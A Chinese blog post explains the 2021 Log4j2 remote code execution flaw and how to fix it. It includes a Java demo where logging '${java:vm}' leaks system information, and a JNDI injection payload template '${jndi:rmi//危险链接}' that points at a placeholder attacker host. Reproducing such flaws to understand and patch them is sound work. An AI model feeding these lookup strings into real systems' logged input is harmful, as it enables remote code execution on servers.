不知道各位小伙伴有没有被这两天 Log4j 爆出的漏洞给惊到,该漏洞在2021年12月9日引爆,估计12月10日凌晨就有很多小伙伴开始紧急修复自己的代码了。Log4j 这个组件在 Java 领域被广泛使用,而且该漏洞非常容易利用,可以执行任意代码,所以这个漏洞的影响可谓是重量级的。
咱们先看看官方给出的具体描述
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。
在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
该漏洞危害等级:严重
影响范围:2.0 <= Apache log4j2 <= 2.14.1
说白了就是只要系统使用 Log4j 通过 ${} 形式将用户输入的信息打印到日志时就会出现安全问题。
Log4j 漏洞复现首先咱们先新建一个 Maven 项目,引入低版本的 Log4j 依赖
org.apache.logging.log4j log4j-core 2.14.0 org.apache.logging.log4j log4j-api 2.14.0
接下来咱们写一个测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jErrorDemo {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
// 注意这个变量
String error = "我在人民广场吃着炸鸡";
logger.error("日志打印,{}", error);
}
}
此时一切正常,没有任何问题,那么我们换一下 error 变量的值再试试看
public class Log4jErrorDemo {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
// 注意这个变量
String error = "${java:vm}";
logger.error("日志打印,{}", error);
}
}
这时候他居然给我们输出了系统信息,而并不是我们想象的 ${java:vm} 字符串
其实这个漏洞的原理也非常简单,Log4j 根据占位符的原理将 {} 替换为需要占位的变量,而实现这一功能就是 Log4j 中的一个 Lookup 功能。攻击者通过 JNDI 注入漏洞,当程序将用户输入的数据记入日志时,利用用户能够控制向记录日志中输入数据的操作,来实现这段经过了特殊构造的请求,此时也就触发 Apache Log4j2 中的远程代码执行漏洞
看到这里小伙伴应该就会想到,如果此时攻击者传入的是类似于 ${jndi:rmi//危险链接} 形式的变量值,那么岂不是就可以在服务器中执行一些攻击者的自定义程序,从而达到攻击入侵的目的。
Log4j 漏洞修复修复 Log4j 的漏洞也非常简单,办法有两个:
- 简单粗暴的就是不用 Log4j 日志
- 升级版本,直接升到 2.15.0 版本
P.S. 个人推荐使用这两种方法修复漏洞,网上还有通过修改参数的方式去修复漏洞,虽然可以解决这个问题,但是谁知道后面还会不会出现其他的问题呢,避免出现“按下葫芦浮起瓢”的情况,所以我们还是用“斩草除根”的办法最为靠谱
小结本人经验有限,有些地方可能讲的没有特别到位,如果您在阅读的时候想到了什么问题,欢迎在评论区留言,我们后续再一一探讨
希望各位小伙伴动动自己可爱的小手,来一波点赞+关注 (✿◡‿◡) 让更多小伙伴看到这篇文章~ 蟹蟹呦(●’◡’●)
如果文章中有错误,欢迎大家留言指正;若您有更好、更独到的理解,欢迎您在留言区留下您的宝贵想法。
你在被打击时,记起你的珍贵,抵抗恶意;
你在迷茫时,坚信你的珍贵,抛开蜚语;
爱你所爱 行你所行 听从你心 无问东西



